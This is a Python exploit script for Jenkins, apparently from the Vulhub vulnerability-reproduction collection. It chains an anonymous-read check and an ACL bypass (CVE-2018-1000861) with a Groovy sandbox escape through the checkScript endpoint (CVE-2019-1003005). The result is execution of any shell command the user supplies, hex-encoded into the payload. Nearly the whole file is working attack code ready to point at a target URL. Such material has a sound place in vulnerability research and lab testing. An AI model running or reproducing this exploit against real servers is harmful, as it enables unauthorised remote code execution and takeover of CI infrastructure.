Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
112 lines
2.9 KiB
Python
112 lines
2.9 KiB
Python
#!/usr/bin/python
|
|
# coding: UTF-8
|
|
# author: Orange Tsai(@orange_8361)
|
|
#
|
|
|
|
import sys
|
|
import requests
|
|
from enum import Enum
|
|
|
|
# remove bad SSL warnings
|
|
try:
|
|
requests.packages.urllib3.disable_warnings()
|
|
except:
|
|
pass
|
|
|
|
|
|
endpoint = 'descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript'
|
|
|
|
class mode(Enum):
|
|
ACL_PATCHED = 0
|
|
NOT_JENKINS = 1
|
|
READ_ENABLE = 2
|
|
READ_BYPASS = 3
|
|
ENTRY_NOTFOUND = 999
|
|
|
|
def usage():
|
|
print '''
|
|
Usage:
|
|
python exp.py <url> <cmd>
|
|
'''
|
|
|
|
def _log(msg, fail=False):
|
|
nb = '[*]'
|
|
if fail:
|
|
nb = '[-]'
|
|
print '%s %s' % (nb, msg)
|
|
|
|
def _get(url, params=None):
|
|
r = requests.get(url, verify=False, params=params)
|
|
return r.status_code, r.content
|
|
|
|
def _add_bypass(url):
|
|
return url + 'securityRealm/user/admin/'
|
|
|
|
def check(url):
|
|
flag, accessible = mode.ACL_PATCHED, False
|
|
|
|
# check ANONYMOUS_READ
|
|
status, content = _get(url)
|
|
if status == 200 and 'adjuncts' in content:
|
|
flag, accessible = mode.READ_ENABLE, True
|
|
_log('ANONYMOUS_READ enable!')
|
|
elif status == 403:
|
|
_log('ANONYMOUS_READ disable!')
|
|
|
|
# check ACL bypass, CVE-2018-1000861
|
|
status, content = _get(_add_bypass(url))
|
|
if status == 200 and 'adjuncts' in content:
|
|
flag, accessible = mode.READ_BYPASS, True
|
|
else:
|
|
flag = mode.NOT_JENKINS
|
|
|
|
# check entry point, CVE-2019-1003005
|
|
if accessible:
|
|
if flag is mode.READ_BYPASS:
|
|
url = _add_bypass(url)
|
|
status, content = _get(url + endpoint)
|
|
|
|
if status == 404:
|
|
flag = mode.ENTRY_NOTFOUND
|
|
|
|
return flag
|
|
|
|
def exploit(url, cmd):
|
|
payload = 'public class x{public x(){new String("%s".decodeHex()).execute()}}' % cmd.encode('hex')
|
|
params = {
|
|
'sandbox': True,
|
|
'value': payload
|
|
}
|
|
|
|
status, content = _get(url + endpoint, params)
|
|
if status == 200:
|
|
_log('Exploit success!(it should be :P)')
|
|
elif status == 405:
|
|
_log('It seems Jenkins has patched the RCE gadget :(')
|
|
else:
|
|
_log('Exploit fail with HTTP status [%d]' % status, fail=True)
|
|
if 'stack trace' in content:
|
|
for _ in content.splitlines():
|
|
if _.startswith('Caused:'):
|
|
_log(_, fail=True)
|
|
|
|
if __name__ == '__main__':
|
|
if len(sys.argv) != 3:
|
|
usage()
|
|
exit()
|
|
|
|
url = sys.argv[1].rstrip('/') + '/'
|
|
cmd = sys.argv[2]
|
|
|
|
flag = check(url)
|
|
if flag is mode.ACL_PATCHED:
|
|
_log('It seems Jenkins is up-to-date(>2.137) :(', fail=True)
|
|
elif flag is mode.NOT_JENKINS:
|
|
_log('Is this Jenkins?', fail=True)
|
|
elif flag is mode.READ_ENABLE:
|
|
exploit(url, cmd)
|
|
elif flag is mode.READ_BYPASS:
|
|
_log('Bypass with CVE-2018-1000861!')
|
|
exploit(_add_bypass(url), cmd)
|
|
else:
|
|
_log('The `checkScript` is not found, please try other entries(see refs)', fail=True) |